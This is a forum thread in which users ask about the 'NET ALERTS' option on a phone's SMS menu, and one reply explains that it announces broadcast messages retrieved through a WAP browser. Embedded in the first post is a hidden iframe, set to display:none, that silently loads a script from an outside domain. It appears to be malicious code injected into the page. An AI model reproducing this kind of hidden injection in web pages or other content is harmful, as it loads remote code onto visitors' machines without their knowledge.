On the SMS screen pull-down menu there is an option for "NET ALERTS". When I select it, it asks me if I want to launch the "WAP browser".

Can someone tell me what the alerts are, why I would need them, and what purpose this browser serves? I can't seem to even play around with it, as it claims that there is some security issue....<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

elbow...

I'd like an answer to this as well. I think it's part of Mobile Web, which I do not have. So come on ... who's got some info on this?

An "Alert" is something that SMS specifications call for, but I've never seen an SMS carrier implement. Basically SMS Alerts are a very low overhead way to announce a message of broad interest, for example declaring network downtime for maintenance. The Alert doesn't actually send the message, it simply announces the presence of the message.

The problem with widescale broadcasts is that they cause the network to bog down severely. By announcing the presence of the message and waiting for the user to manually retrieve it, the provider can spread the network load much more evenly.

What an Alert actually does (would do, as I've never seen one) is post a message on a centralized WAP site, then announce the presence of that message. When the user accesses the Alert box in the 7135 messaging program, the Messaging program launches the WAP browser (OpenWave) which actually attempts to fetch the message(s).

-PatP

So what you're saying is that it's basically useless? Thanks, Pat. Something else I can ignore on this phone.